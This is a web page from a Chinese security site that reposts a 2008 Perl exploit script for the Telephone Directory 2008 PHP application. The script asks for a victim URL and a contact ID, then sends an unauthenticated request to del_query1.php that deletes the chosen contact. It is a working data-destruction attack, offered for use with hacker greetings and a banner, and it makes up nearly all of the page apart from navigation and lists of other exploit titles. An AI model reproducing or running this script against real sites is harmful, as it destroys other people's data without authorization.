首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Telephone Directory 2008 Arbitrary Delete Contact Exploit
来源:www.vfcocus.net 作者:Stack 发布时间:2008-06-10  
#!/usr/bin/perl -w
# Telephone Directory 2008 <=  Arbitrary Delete Contact
########################################
#[*] Founded &  Exploited by : Stack
#[*] Contact: Ev!L =>> see down
#[*] Greetz : Houssamix & Djekmani & Jadi &  iuoisn & hak3r-b0y All muslims HaCkeRs  :)
#[*]  Special Thnx To : Simo64  L3azzzzzz khouya
########################################
#----------------------------------------------------------------------------#
########################################
# * TITLE:          PerlSploit Class
# * REQUIREMENTS:   PHP 4 / PHP 5
# * VERSION:        v.1
# * LICENSE:        GNU General Public License
# * ORIGINAL URL:   http://www.v4-Team/v4.txt
# * FILENAME:       PerlSploitClass.pl
# *
# * CONTACT:        Wanted  (french / english / arabic / moroco Darija :d )
# * THNX : AllaH
# * GREETZ:         Houssamix & Djekmani
########################################
#----------------------------------------------------------------------------#
########################################
system("color f");
print "\t\t############################################################\n\n";
print "\t\t#   Telephone Directory 2008 <=  Arbitrary Delete Contact  #\n\n";
print "\t\t#                          by Stack                        #\n\n";
print "\t\t############################################################\n\n";
########################################
#----------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
print "\n[!] ContactID : ";
chomp(my $id=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "/del_query1.php?id=".$id."";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /Contact(.*?)<br>/){
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Contact$1\n";}
  else{print "\n[-] Exploit Failed...\n";}
 
########################################
#-------------------         Exploit exploited by Stack       --------------------#
########################################

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Flux CMS <= 1.5.0 (loadsave.ph
·Achievo <= 1.3.2 (fckeditor) A
·iJoomla News Portal (Itemid) R
·Black Ice Software Annotation
·Galatolo Web Manager <= 1.0 Re
·Black Ice Software Annotation
·Black Ice Software Inc Barcode
·Yuhhu 2008 SuperStar (board) R
·Asterisk (SIP channel driver /
·JAMM CMS (id) Remote Blind SQL
·Black Ice Software Inc Barcode
·muvee autoProducer <= 6.1 (Tex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved